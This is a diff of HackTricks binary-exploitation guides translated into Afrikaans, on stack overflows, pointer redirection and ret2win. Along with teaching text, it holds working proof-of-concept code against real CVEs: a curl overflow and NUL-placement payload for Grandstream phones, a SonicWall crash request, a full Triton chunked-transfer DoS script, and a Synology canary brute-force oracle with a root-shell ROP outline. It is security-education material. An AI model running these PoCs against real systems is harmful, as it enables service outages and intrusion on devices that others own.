+* Met **PAC** (`paciasp` / `autiasp`) kan ’n eenvoudige overwrite van die gestoorde `x30` misluk voordat jy ooit die SROP-trampoline bereik, as die funksie se epilogue `LR` authenticate.
+* Met **BTI** moet indirekte `br` / `blr`-targets op ’n geldige landing pad land. Die arm64 **vDSO** `__kernel_rt_sigreturn`-trampoline laat doelbewus `bti c` weg, omdat die kernel verwag dat dit vanaf ’n `ret` bereik word. Om daarheen terug te keer is dus reg, maar om met ’n BTI-checked branch-gadget daarheen te jump, kan ’n fault veroorsaak.
+
+## References
+
+- [1] [Linux arm64 vDSO `__kernel_rt_sigreturn`-bronkode](https://github.com/torvalds/linux/blob/master/arch/arm64/kernel/vdso/sigreturn.S)
+- [2] [Linux arm64 signal-frame-parsing (`signal.c`)](https://github.com/torvalds/linux/blob/master/arch/arm64/kernel/signal.c)
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/stack-overflow/README.md b/src/binary-exploitation/stack-overflow/README.md
index 6de6060f203..7a0d9000704 100644
--- a/src/binary-exploitation/stack-overflow/README.md
+++ b/src/binary-exploitation/stack-overflow/README.md
@@ -2,37 +2,34 @@
{{#include ../../banners/hacktricks-training.md}}
-## What is a Stack Overflow
+## Wat is 'n Stack Overflow
-A **stack overflow** is a vulnerability that occurs when a program writes more data to the stack than it is allocated to hold. This excess data will **overwrite adjacent memory space**, leading to the corruption of valid data, control flow disruption, and potentially the execution of malicious code. This issue often arises due to the use of unsafe functions that do not perform bounds checking on input.
+'n **stack overflow** is 'n kwesbaarheid wat voorkom wanneer 'n program meer data na die stack skryf as waarvoor dit toegewys is. Hierdie oortollige data sal **aangrensende geheuespasie oorskryf**, wat lei tot die korrupsie van geldige data, ontwrigting van die control flow, en moontlik die uitvoering van kwaadwillige kode. Hierdie probleem ontstaan dikwels weens die gebruik van onveilige funksies wat nie bounds checking op invoer uitvoer nie.
-The main problem of this overwrite is that the **saved instruction pointer (EIP/RIP)** and the **saved base pointer (EBP/RBP)** to return to the previous function are **stored on the stack**. Therefore, an attacker will be able to overwrite those and **control the execution flow of the program**.
+Die hoofprobleem met hierdie oorskrywing is dat die **saved instruction pointer (EIP/RIP)** en die **saved base pointer (EBP/RBP)** om na die vorige funksie terug te keer, **op die stack gestoor word**. 'n Aanvaller sal dus in staat wees om dit te oorskryf en **die execution flow van die program te beheer**.
-The vulnerability usually arises because a function **copies inside the stack more bytes than the amount allocated for it**, therefore being able to overwrite other parts of the stack.
+Die kwesbaarheid ontstaan gewoonlik omdat 'n funksie **meer grepe binne die stack kopieer as die hoeveelheid wat daarvoor toegewys is**, en dus ander dele van die stack kan oorskryf.
-Some common functions vulnerable to this are: **`strcpy`, `strcat`, `sprintf`, `gets`**... Also, functions like **`fgets`** , **`read` & `memcpy`** that take a **length argument**, might be used in a vulnerable way if the specified length is greater than the allocated one.
-
-For example, the following functions could be vulnerable:
+Sommige algemene funksies wat hiervoor kwesbaar is, is: **`strcpy`, `strcat`, `sprintf`, `gets`**... Funksies soos **`fgets`**, **`read`** en **`memcpy`** wat 'n **lengte-argument** aanvaar, kan ook op 'n kwesbare manier gebruik word indien die gespesifiseerde lengte groter as die toegewese een is.
+Byvoorbeeld, die volgende funksies kan kwesbaar wees:
```c
void vulnerable() {
- char buffer[128];
- printf("Enter some text: ");
- gets(buffer); // This is where the vulnerability lies
- printf("You entered: %s\n", buffer);
+char buffer[128];
+printf("Enter some text: ");
+gets(buffer); // This is where the vulnerability lies
+printf("You entered: %s\n", buffer);
}
```
+### Vind Stack Overflow-offsets
-### Finding Stack Overflows offsets
-
-The most common way to find stack overflows is to give a very big input of `A`s (e.g. `python3 -c 'print("A"*1000)'`) and expect a `Segmentation Fault` indicating that the **address `0x41414141` was tried to be accessed**.
-
-Moreover, once you found that there is Stack Overflow vulnerability you will need to find the offset until it's possible to **overwrite the return address**, for this it's usually used a **De Bruijn sequence.** Which for a given alphabet of size _k_ and subsequences of length _n_ is a **cyclic sequence in which every possible subsequence of length \_n**\_\*\* appears exactly once\*\* as a contiguous subsequence.
+Die algemeenste manier om Stack Overflow te vind, is om ’n baie groot invoer van `A`s te gee (bv. `python3 -c 'print("A"*1000)'`) en ’n `Segmentation Fault` te verwag, wat aandui dat daar **probeer is om toegang tot die adres `0x41414141` te verkry**.
-This way, instead of needing to figure out which offset is needed to control the EIP by hand, it's possible to use as padding one of these sequences and then find the offset of the bytes that ended overwriting it.
+Verder, sodra jy vasgestel het dat daar ’n Stack Overflow-kwesbaarheid is, sal jy die offset moet vind totdat dit moontlik is om die **return address te oorskryf**. Hiervoor word gewoonlik ’n **De Bruijn sequence** gebruik. Dit is, vir ’n gegewe alfabet van grootte _k_ en subsequences van lengte _n_, ’n **sikliese sequence waarin elke moontlike subsequence van lengte _n_ presies een keer as ’n aaneenlopende subsequence voorkom**.
-It's possible to use **pwntools** for this:
+Op hierdie manier, in plaas daarvan om self uit te werk watter offset nodig is om die EIP te beheer, is dit moontlik om een van hierdie sequences as padding te gebruik en dan die offset te vind van die bytes wat dit uiteindelik oorgeskryf het.
+Dit is moontlik om **pwntools** hiervoor te gebruik:
```python
from pwn import *
@@ -44,26 +41,24 @@ eip_value = p32(0x6161616c)
offset = cyclic_find(eip_value) # Finds the offset of the sequence in the De Bruijn pattern
print(f"The offset is: {offset}")
```
-
-or **GEF**:
-
+of **GEF**:
```bash
#Patterns
pattern create 200 #Generate length 200 pattern
pattern search "avaaawaa" #Search for the offset of that substring
pattern search $rsp #Search the offset given the content of $rsp
```
+## Uitbuiting van Stack Overflows
-## Exploiting Stack Overflows
-
-During an overflow (supposing the overflow size if big enough) you will be able to **overwrite** values of local variables inside the stack until reaching the saved **EBP/RBP and EIP/RIP (or even more)**.\
-The most common way to abuse this type of vulnerability is by **modifying the return address** so when the function ends the **control flow will be redirected wherever the user specified** in this pointer.
+Tydens 'n overflow (met die aanname dat die overflow-grootte groot genoeg is) sal jy waardes van plaaslike veranderlikes binne die stack kan **oorwrite** totdat jy die gestoorde **EBP/RBP en EIP/RIP (of selfs meer)** bereik.\
+Die algemeenste manier om hierdie tipe kwesbaarheid te misbruik, is deur die **return address te wysig**, sodat die **control flow, wanneer die function eindig, herlei word na waar ook al die gebruiker in hierdie pointer gespesifiseer het**.
-However, in other scenarios maybe just **overwriting some variables values in the stack** might be enough for the exploitation (like in easy CTF challenges).
+In ander scenario's kan dit egter genoeg wees om net sommige veranderlikewaardes in die stack te **oorwrite** vir die exploitation (soos in maklike CTF-challenges).
### Ret2win
-In this type of CTF challenges, there is a **function** **inside** the binary that is **never called** and that **you need to call in order to win**. For these challenges you just need to find the **offset to overwrite the return address** and **find the address of the function** to call (usually [**ASLR**](../common-binary-protections-and-bypasses/aslr/) would be disabled) so when the vulnerable function returns, the hidden function will be called:
+In hierdie tipe CTF-challenges is daar 'n **function** **binne** die binary wat **nooit geroep word nie** en wat **jy moet roep om te wen**. Vir hierdie challenges moet jy net die **offset vind om die return address te overwrite** en die **address van die function** vind om te roep (gewoonlik sal [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) gedeaktiveer wees), sodat die hidden function geroep word wanneer die vulnerable function return:
+
{{#ref}}
ret2win/
@@ -71,15 +66,26 @@ ret2win/
### Stack Shellcode
-In this scenario the attacker could place a shellcode in the stack and abuse the controlled EIP/RIP to jump to the shellcode and execute arbitrary code:
+In hierdie scenario kan die attacker shellcode in die stack plaas en die beheerde EIP/RIP misbruik om na die shellcode te spring en arbitrary code uit te voer:
+
{{#ref}}
stack-shellcode/
{{#endref}}
+### Windows SEH-based exploitation (nSEH/SEH)
+
+Op 32-bit Windows kan 'n overflow die Structured Exception Handler (SEH)-chain overwrite in plaas van die gestoorde return address. Exploitation vervang tipies die SEH-pointer met 'n POP POP RET-gadget en gebruik die 4-byte nSEH-field vir 'n short jump om terug te pivot na die groot buffer waar shellcode geleë is. 'n Algemene pattern is 'n short jmp in nSEH wat op 'n 5-byte near jmp land wat net voor nSEH geplaas is, om honderde bytes terug te jump na die begin van die payload.[[3]](#references)
+
+
+{{#ref}}
+windows-seh-overflow.md
+{{#endref}}
+
### ROP & Ret2... techniques
-This technique is the fundamental framework to bypass the main protection to the previous technique: **No executable stack (NX)**. And it allows to perform several other techniques (ret2lib, ret2syscall...) that will end executing arbitrary commands by abusing existing instructions in the binary:
+Hierdie technique is die fundamentele framework om die hoofbeskerming teen die vorige technique te bypass: **No executable stack (NX)**. Dit laat ook verskeie ander techniques (ret2lib, ret2syscall...) toe, wat uiteindelik arbitrary commands sal uitvoer deur bestaande instructions in die binary te misbruik:
+
{{#ref}}
../rop-return-oriented-programing/
@@ -87,18 +93,134 @@ This technique is the fundamental framework to bypass the main protection to the
## Heap Overflows
-An overflow is not always going to be in the stack, it could also be in the **heap** for example:
+'n Overflow gaan nie altyd in die stack wees nie; dit kan byvoorbeeld ook in die **heap** wees:
+
{{#ref}}
../libc-heap/heap-overflow.md
{{#endref}}
-## Types of protections
+## Tipes protections
+
+Daar is verskeie protections wat probeer om die exploitation van vulnerabilities te voorkom; kyk daarna by:
-There are several protections trying to prevent the exploitation of vulnerabilities, check them in:
{{#ref}}
../common-binary-protections-and-bypasses/
{{#endref}}
+### Werklike voorbeeld: CVE-2026-2329 (Grandstream GXP1600 unauthenticated HTTP stack overflow)
+
+- `/app/bin/gs_web` (32-bit ARM) stel `/cgi-bin/api.values.get` op TCP/80 bloot met **geen authentication**. Die POST-parameter `request` word deur dubbelpunte afgebaken; elke karakter word na `char small_buffer[64]` gekopieer en die token word op `:` of die einde met NUL beëindig, **sonder enige length check**, wat dit moontlik maak vir 'n enkele oversized token om die gestoorde registers/return address te smash.[[5]](#references)
+- PoC overflow (crash en wys attacker-data in registers): `curl -ik http:///cgi-bin/api.values.get --data "request=$(python3 - <<'PY'\nprint('A'*256)\nPY)"`.
+- **Delimiter-driven multi-NUL placement**: elke colon herbegin parsing en voeg 'n trailing NUL by. Deur verskeie overlong identifiers te gebruik, kan elke token se terminator op 'n ander offset in die corrupted frame belyn word, wat die attacker in staat stel om **verskeie `0x00` bytes** te plaas, al voeg elke overflow normaalweg net een by. Dit is noodsaaklik omdat die non-PIE binary by `0x00008000` gemap word, sodat ROP-gadget-addresses NUL-bytes bevat.
+- Voorbeeld van 'n colon payload om vyf NULs by gekose offsets te plaas (lengtes volgens die stack-layout ingestel): `AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA:BBBBBBBBBBBBBBBBBBBBB:CCCCCCCCCCCCCCCCCCCC:DDDDDDDDDDD:EEE`
+- `checksec` toon **NX enabled**, **geen canary**, **geen PIE**. Exploitation gebruik 'n ROP-chain wat uit fixed addresses gebou is (byvoorbeeld, roep `system()` en daarna `exit()`), met arguments wat gestage word nadat die vereiste NUL-bytes met die delimiter-truuk geplant is.
+
+### Werklike voorbeeld: CVE-2025-40596 (SonicWall SMA100)
+
+'n Goeie demonstrasie van waarom **`sscanf` nooit vertrou moet word vir die parsing van untrusted input nie** het in 2025 in SonicWall se SMA100 SSL-VPN-appliance verskyn.[[1]](#references)
+Die vulnerable routine binne `/usr/src/EasyAccess/bin/httpd` probeer die version en endpoint uit enige URI te onttrek wat met `/__api__/` begin:
+```c
+char version[3];
+char endpoint[0x800] = {0};
+/* simplified proto-type */
+sscanf(uri, "%*[^/]/%2s/%s", version, endpoint);
+```
+1. Die eerste omskakeling (`%2s`) stoor **twee** grepe veilig in `version` (byvoorbeeld `"v1"`).
+2. Die tweede omskakeling (`%s`) **het geen lengtespesifiseerder nie**, en daarom sal `sscanf` aanhou kopieer **tot by die eerste NUL-greep**.
+3. Omdat `endpoint` op die **stack** geleë is en **0x800 grepe lank** is, korrupteer die verskaffing van 'n pad wat langer as 0x800 grepe is alles wat ná die buffer lê ‑ insluitend die **stack canary** en die **gestoorde terugkeeradres**.
+
+'n Enkelreël proof-of-concept is genoeg om die crash **voor authentication** te veroorsaak:
+```python
+import requests, warnings
+warnings.filterwarnings('ignore')
+url = "https://TARGET/__api__/v1/" + "A"*3000
+requests.get(url, verify=False)
+```
+Alhoewel stack canaries die proses aborteer, verkry 'n aanvaller steeds 'n **Denial-of-Service**-primitive (en, met bykomende information leaks, moontlik code-execution).
+
+### Werklike voorbeeld: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server)
+
+NVIDIA se Triton Inference Server (≤ v25.06) het meerdere **stack-based overflows** bevat wat deur sy HTTP API bereikbaar was.
+Die kwesbare patroon het herhaaldelik in `http_server.cc` en `sagemaker_server.cc` voorgekom:[[2]](#references)
+```c
+int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0);
+if (n > 0) {
+/* allocates 16 * n bytes on the stack */
+struct evbuffer_iovec *v = (struct evbuffer_iovec *)
+alloca(sizeof(struct evbuffer_iovec) * n);
+...
+}
+```
+1. `evbuffer_peek` (libevent) gee die **aantal interne buffersegmente** terug waaruit die huidige HTTP request body bestaan.
+2. Elke segment veroorsaak dat ’n **16-byte** `evbuffer_iovec` op die **stack** deur middel van `alloca()` geallokeer word – **sonder enige boonste limiet**.
+3. Deur **HTTP _chunked transfer-encoding_** te misbruik, kan ’n kliënt die request dwing om in **honderdduisende 6-byte chunks** (`"1\r\nA\r\n"`) verdeel te word. Dit laat `n` onbeperk groei totdat die stack uitgeput is.
+
+#### Proof-of-Concept (DoS)
+
+Chunked DoS PoC
+```python
+#!/usr/bin/env python3
+import socket, sys
+
+def exploit(host="localhost", port=8000, chunks=523_800):
+s = socket.create_connection((host, port))
+s.sendall((
+f"POST /v2/models/add_sub/infer HTTP/1.1\r\n"
+f"Host: {host}:{port}\r\n"
+"Content-Type: application/octet-stream\r\n"
+"Inference-Header-Content-Length: 0\r\n"
+"Transfer-Encoding: chunked\r\n"
+"Connection: close\r\n\r\n"
+).encode())
+
+for _ in range(chunks): # 6-byte chunk ➜ 16-byte alloc
+s.send(b"1\r\nA\r\n") # amplification factor ≈ 2.6x
+s.sendall(b"0\r\n\r\n") # end of chunks
+s.close()
+
+if __name__ == "__main__":
+exploit(*sys.argv[1:])
+```
+
+'n ~3 MB-versoek is genoeg om die gestoorde return address te oorskryf en die daemon op 'n verstek-build te laat **crash**.
+
+### Werklike voorbeeld: CVE-2025-12686 (Synology BeeStation Bee-AdminCenter)
+
+Synacktiv se Pwn2Own 2025-chain het 'n pre-auth overflow in `SYNO.BEE.AdminCenter.Auth` op port 5000 uitgebuit. `AuthManagerImpl::ParseAuthInfo` Base64-dekodeer aanvallerinvoer na 'n 4096-byte stack buffer, maar stel verkeerdelik `decoded_len = auth_info->len`. Omdat die CGI-worker per versoek fork, erf elke child die parent se stack canary; dus is een stabiele overflow-primitive genoeg om beide die stack te korrupteer en al die vereiste secrets te leak.[[4]](#references)
+
+#### Base64-gedekodeerde JSON as 'n gestruktureerde overflow
+Die gedekodeerde blob moet geldige JSON wees en `"state"`- en `"code"`-sleutels insluit; anders gooi die parser 'n fout voordat die overflow bruikbaar is. Synacktiv het dit opgelos deur 'n payload te Base64-encode wat na JSON, daarna 'n NUL-byte, en vervolgens die overflow stream dekodeer. `strlen(decoded)` stop by die NUL, sodat parsing slaag, maar `SLIBCBase64Decode` het reeds die stack verby die JSON-object oorskryf en die canary, gestoorde RBP en return address gedek.
+```python
+pld = b'{"code":"","state":""}\x00' # JSON accepted by Json::Reader
+pld += b"A"*4081 # reach the canary slot
+pld += marker_bytes # guessed canary / pointer data
+send_request(pld)
+```
+#### Crash-oracle bruteforcing of canaries & pointers
+`synoscgi` forking een keer per HTTP request, dus alle child processes deel dieselfde canary, stack layout en PIE slide. Die exploit gebruik die HTTP status code as 'n oracle: 'n `200`-response beteken die geraaide byte het die stack behou, terwyl `502` (of 'n verbinding wat laat vaar word) beteken dat die proses gecrash het. Deur elke byte serieel te brute-force, word die 8-byte canary, 'n gestoorde stack pointer en 'n return address binne `libsynobeeadmincenter.so` herwin:
+```python
+def bf_next_byte(prefix):
+for guess in range(0x100):
+try:
+if send_request(prefix + bytes([guess])).status_code == 200:
+return bytes([guess])
+except requests.exceptions.ReadTimeout:
+continue
+raise RuntimeError("oracle lost sync")
+```
+`bf_next_ptr` roep eenvoudigweg `bf_next_byte` agt keer aan terwyl dit die bevestigde prefix byvoeg. Synacktiv het hierdie oracles met ongeveer 16 worker threads geparalleliseer, wat die totale leak-tyd (canary + stack ptr + lib base) tot minder as drie minute verminder het.
+
+#### Van leaks tot ROP & uitvoering
+Sodra die library base bekend is, bou algemene gadgets (`pop rdi`, `pop rsi`, `mov [rdi], rsi; xor eax, eax; ret`) ’n `arb_write`-primitive wat `/bin/bash`, `-c` en die aanvaller se opdrag op die gelekte stack-adres plaas. Laastens stel die chain die calling convention vir `SLIBCExecl` op (’n BeeStation-wrapper rondom `execl(2)`), wat ’n root shell lewer sonder dat ’n aparte info-leak-bug nodig is.
+
+## Verwysings
+
+- [1] [watchTowr Labs – Stack Overflows, Heap Overflows and Existential Dread (SonicWall SMA100)](https://labs.watchtowr.com/stack-overflows-heap-overflows-and-existential-dread-sonicwall-sma100-cve-2025-40596-cve-2025-40597-and-cve-2025-40598/)
+- [2] [Trail of Bits – Uncovering memory corruption in NVIDIA Triton](https://blog.trailofbits.com/2025/08/04/uncovering-memory-corruption-in-nvidia-triton-as-a-new-hire/)
+- [3] [HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf)](https://0xdf.gitlab.io/2025/08/07/htb-rainbow.html)
+- [4] [Synacktiv – Breaking the BeeStation: Inside Our Pwn2Own 2025 Exploit Journey](https://www.synacktiv.com/en/publications/breaking-the-beestation-inside-our-pwn2own-2025-exploit-journey.html)
+- [5] [Rapid7 – CVE-2026-2329 unauthenticated stack overflow in Grandstream GXP1600](https://www.rapid7.com/blog/post/ve-cve-2026-2329-critical-unauthenticated-stack-buffer-overflow-in-grandstream-gxp1600-voip-phones-fixed)
+
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/stack-overflow/pointer-redirecting.md b/src/binary-exploitation/stack-overflow/pointer-redirecting.md
index f92bebd2840..f4702c7da9d 100644
--- a/src/binary-exploitation/stack-overflow/pointer-redirecting.md
+++ b/src/binary-exploitation/stack-overflow/pointer-redirecting.md
@@ -4,26 +4,123 @@
## String pointers
-If a function call is going to use an address of a string that is located in the stack, it's possible to abuse the buffer overflow to **overwrite this address** and put an **address to a different string** inside the binary.
+As 'n funksie-aanroep die adres van 'n string wat in die stack geleë is gaan gebruik, is dit moontlik om die buffer overflow te misbruik om hierdie adres te **overwrite** en 'n **adres na 'n ander string** binne die binary te plaas.
-If for example a **`system`** function call is going to **use the address of a string to execute a command**, an attacker could place the **address of a different string in the stack**, **`export PATH=.:$PATH`** and create in the current directory an **script with the name of the first letter of the new string** as this will be executed by the binary.
+Byvoorbeeld, as **`system`** later 'n string pointer gebruik wat in die stack gehou word, kan 'n aanvaller dit na 'n ander string in die binary redirect. In 'n laboratorium waar die resulterende command 'n PATH lookup uitvoer, kan die aanvaller `export PATH=.:$PATH` uitvoer en 'n script skep waarvan die naam ooreenstem met die command wat opgelos sal word. Dit hang af van beheer oor die proses se environment en working directory; dit is nie nuttig wanneer die command 'n absolute path gebruik nie.[[1]](#references)
-You can find an **example** of this in:
+In werklike teikens is **repointing van 'n stack string pointer gewoonlik interessanter as om net die gedrukte teks te verander**:
+
+- Redirect 'n latere **`system`/`popen`/`execl*`**-argument na 'n bestaande `"/bin/sh"` of 'n aanvaller-beheerde command string wat reeds in memory teenwoordig is.
+- Redirect 'n latere **read** sink soos **`puts("%s", ptr)`** of **`write(fd, ptr, len)`** om stack-, heap- of binary-data te leak.
+- Redirect 'n latere **write** sink soos **`strcpy(dst, ...)`**, **`memcpy(dst, src, len)`**, of 'n structure field assignment deur `ptr->field = value` om die stack overflow in 'n **second-stage arbitrary write** te omskep.
+
+Wanneer jy audit, prioritiseer stack locals soos **`char *cmd`**, **`char *path`**, **`char *buf`**, **`FILE *fp`**, of **pointers binne temporary request/response structs** wat **ná** die overflow maar **voor** die funksie terugkeer, gebruik word. Dit is veral nuttig wanneer die overflow nie die saved return address veilig kan bereik nie weens 'n canary, of omdat dit genoeg is om 'n nabygeleë pointer te corrupt.
+
+### Pointer + lengte-pare is gewoonlik beter as naakte strings
+
+In moderne code is die beste teiken dikwels nie 'n alleenstaande `char *` nie, maar 'n **pointer plus 'n size/count** wat later gebruik word. Algemene stack-patrone is:
+
+- `char *ptr` + `size_t len`
+- `void *dst` + `size_t dst_len`
+- `struct iovec` / `struct msghdr`-styl **base + length** descriptors
+- Temporary request/response structs wat 'n pointer, 'n length, en soms 'n **opcode / index** bevat
+
+As jy albei velde kan corrupt, kry jy gewoonlik 'n veel sterker primitive as 'n gewone string swap: **arbitrary read** (`write(fd, ptr, len)`, `send`, `writev`) of **arbitrary write** (`memcpy(dst, src, len)`, `readv`, `recvmsg`, structure stores deur `ptr`).
+```c
+struct iovec iov = { .iov_base = reply, .iov_len = reply_len };
+char buf[128];
+read(0, buf, 256); // overflow
+writev(sock, &iov, 1); // leak if iov_base / iov_len were corrupted
+```
+Hierdie patroon kom gereeld in onlangse exploitation writeups voor omdat dit voorkom dat die gestoor-de return address aangeraak word: korrupteer die **data pointer**, korrupteer die **associated length**, en wag vir ’n latere helper om die nuttige lees/skryfwerk namens jou uit te voer.
+
+As die korrupsie tot ’n **partial overwrite** beperk is (byvoorbeeld omdat die bug ’n `0x00` byvoeg), probeer om die pointer te herlei na:
+
+- ’n Nabygeleë string in dieselfde **stack frame**
+- ’n Ander object in dieselfde **module / non-PIE image**
+- ’n Beheerde area waarvan die **high bytes unchanged** bly
+
+Vir die verwante ASLR-georiënteerde geval waar ’n trailing NUL ’n **existing stack pointer** wysig in plaas van ’n toegewyde local variable, kyk na [Ret2ret & Ret2pop](../common-binary-protections-and-bypasses/aslr/ret2ret.md).
+
+### Vinnige triage-werkvloei
+
+Wanneer jy vermoed dat die bug locals bereik **voor** die canary / saved return address, karteer eers die frame en bou dan eers die payload:
+```bash
+(gdb) p &buf
+(gdb) p &cmd
+(gdb) p &len
+(gdb) x/40gx $sp
+```
+Nuttige vrae:
+
+- Watter pointers / lengtes lê **ná** die oorlopende buffer in geheue?
+- Watter van hulle word later op die normale pad, foutpad of cleanup-pad **gebruik**?
+- Kan ’n **1-greep- of 2-greep-partial overwrite** die pointer na ’n nuttige nabygeleë object skuif?
+- Sal die proses oorleef totdat die primitive geaktiveer word, of moet jy ook ’n latere `free()` / cleanup call laat slaag?
+
+Jy kan voorbeelde hiervan in die volgende write-ups vind:[[5]](#references)[[6]](#references)
- [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/strptr.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/strptr.c)
- [https://guyinatuxedo.github.io/04-bof_variable/tw17_justdoit/index.html](https://guyinatuxedo.github.io/04-bof_variable/tw17_justdoit/index.html)
- - 32bit, change address to flags string in the stack so it's printed by `puts`
+- 32bit, verander die address na die flags string op die stack sodat dit deur `puts` gedruk word
## Function pointers
-Same as string pointer but applying to functions, if the **stack contains the address of a function** that will be called, it's possible to **change it** (e.g. to call **`system`**).
+Dieselfde as string pointer, maar toegepas op functions: indien die **stack die address van ’n function bevat** wat geroep sal word, is dit moontlik om dit te **verander** (byvoorbeeld om **`system`** te roep).[[1]](#references)
+
+Nuttige targets is nie slegs eksplisiete callback-variables soos `void (*fp)()` nie. Kyk in die praktyk na:
+
+- **Callbacks wat in local structs gestoor word** en later aan helper functions deurgegee word
+- **Destructor / cleanup handlers** wat op error paths geroep word
+- **Parser dispatch tables** of **state-machine handlers** wat na die stack gekopieer word
+- **Local structs / objects** wat later deur ’n indirect call dispatch
-You can find an example in:
+As die indirect call soos `cb(ctx, len)` of `ops[idx](req)` lyk, moenie ophou nadat jy die code pointer gevind het nie. In baie werklike targets lê die **context pointer / eerste argument** reg langs die callback, dus is dit baie meer betroubaar om albei velde te corrupt as om slegs die function te redirect. Net so, as die program die callback uit ’n local table kies, kan dit makliker wees om die **index / selector** te corrupt as om die hele function pointer te vervang.
+
+In moderne exploitation is **pointer redirection dikwels die laaste primitive wat beskikbaar is voordat die canary aangeraak word**. ’n 2024 exploitation write-up vir CVE-2024-20017 wys die tipiese patroon: die overflow bereik verskeie local variables voordat dit die stack canary bereik; die attacker corrupt ’n **stack pointer plus die geassosieerde length/value**, en ’n latere assignment deur daardie pointer word ’n **arbitrary write** sonder dat daar ooit deur die corrupted frame teruggekeer hoef te word.[[2]](#references)
+
+### Pointer corruption to second-stage primitives
+
+As ’n nabygeleë pointer later vir ’n store gedereferenceer word, is die doel gewoonlik nie om direk met die eerste overflow te jump nie, maar om die **primitive op te gradeer**:
+
+1. Overflow ’n local buffer en corrupt ’n **pointer** plus enige geassosieerde **length / integer / index**.
+2. Wag totdat die function ’n **post-overflow dereference** uitvoer, soos `ptr->len = x`, `memcpy(ptr, src, n)` of `*ptr = value`.
+3. Gebruik die gevolglike **write-what-where** om ’n GOT slot, callback, config pointer of ander indirect callsite te overwrite.
+
+Dit is ’n goeie opsie wanneer:
+
+- Die bug by die canary stop
+- Die function pointer self nie direk bereikbaar is nie
+- ’n 4-byte of 8-byte **data write** makliker is om te verkry as ’n onmiddellike control-flow hijack
+
+’n Algemene beperking in die werklike wêreld is die **cleanup path**. As jy locals corrupt wat later aan `free()`, `close()`, `gst_buffer_unmap()` of ’n ander destructor-like helper deurgegee word, moet jy hulle dalk eers na **`NULL`** of ’n veilige object repoint. Anders kan allocator sanity checks of cleanup crashes die proses beëindig voordat jou corrupted pointer gebruik word.[[4]](#references)
+
+Dieselfde idee werk ook vir **read** primitives as die corrupted pointer later aan logging-, printing- of network-send helpers deurgegee word.
+
+### Modern AArch64 note: PAC / BTI
+
+Op huidige AArch64 targets kan ’n klassieke **saved return address overwrite** misluk omdat die epilogue `x30` met PAC authenticate. In sulke gevalle word **non-return hijacks**, soos corrupted local function pointers of callback pointers, aantrekliker.
+
+As **BTI** egter enabled is, moet die overwritten indirect-call target steeds op ’n **valid landing pad** land (tipies ’n function entry met **`bti c`**, of in PAC-enabled code ’n prologue wat met **`paciasp`/`pacibsp`** begin). Onderskei ook tussen gewone indirect calls soos **`blr xN`** en geauthentiseerde calls soos **`blraa` / `blrab`**: laasgenoemde authenticate die branch target as deel van die call, dus sal dit gewoonlik misluk om die pointer na ’n unsigned gadget te redirect, selfs al is die bestemming executable.[[3]](#references) Wanneer jy dus ’n stack function pointer op AArch64 redirect, verkies:
+
+- Werklike function entries eerder as mid-function gadgets
+- Targets waarvan die prologue reeds aan BTI voldoen
+- Targets waar die indirect-call pointer nie addisioneel geauthentiseer word voordat dit gebruik word nie
+- Data-pointer corruption om eers ’n second-stage arbitrary write te verkry, indien die finale code pointer PAC-protected is
+
+Vir ’n verwante AArch64 stack-overflow-konteks, kyk na [ret2win-arm64](ret2win/ret2win-arm64.md).
+
+Jy kan ’n function-pointer-voorbeeld vind in:[[7]](#references)
- [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/funcptr.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/funcptr.c)
## References
-- [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#pointer-redirecting](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#pointer-redirecting)
-
+- [1] [stack-buffer-overflow-internship - NOTES.md: Pointer Redirecting](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#pointer-redirecting)
+- [2] [Exploiting CVE-2024-20017 four different ways](https://blog.coffinsec.com/0day/2024/08/30/exploiting-CVE-2024-20017-four-different-ways.html)
+- [3] [Enabling PAC and BTI on AArch64 - Arm Community](https://developer.arm.com/community/arm-community-blogs/b/architectures-and-processors-blog/posts/enabling-pac-and-bti-on-aarch64)
+- [4] [GHSL-2024-197: Uninitialized variable in GStreamer's Matroska demuxer leading to function pointer hijack (CVE-2024-47540)](https://securitylab.github.com/advisories/GHSL-2024-197_GStreamer/)
+- [5] [stack-buffer-overflow-internship - `strptr.c`](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/strptr.c)
+- [6] [Nightmare - `tw17_justdoit`](https://guyinatuxedo.github.io/04-bof_variable/tw17_justdoit/index.html)
+- [7] [stack-buffer-overflow-internship - `funcptr.c`](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/funcptr.c)
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/stack-overflow/ret2win/README.md b/src/binary-exploitation/stack-overflow/ret2win/README.md
index 0cad69c6dca..d410148ba52 100644
--- a/src/binary-exploitation/stack-overflow/ret2win/README.md
+++ b/src/binary-exploitation/stack-overflow/ret2win/README.md
@@ -2,49 +2,44 @@
{{#include ../../../banners/hacktricks-training.md}}
-## Basic Information
+## Basiese Inligting
-**Ret2win** challenges are a popular category in **Capture The Flag (CTF)** competitions, particularly in tasks that involve **binary exploitation**. The goal is to exploit a vulnerability in a given binary to execute a specific, uninvoked function within the binary, often named something like `win`, `flag`, etc. This function, when executed, usually prints out a flag or a success message. The challenge typically involves overwriting the **return address** on the stack to divert execution flow to the desired function. Here's a more detailed explanation with examples:
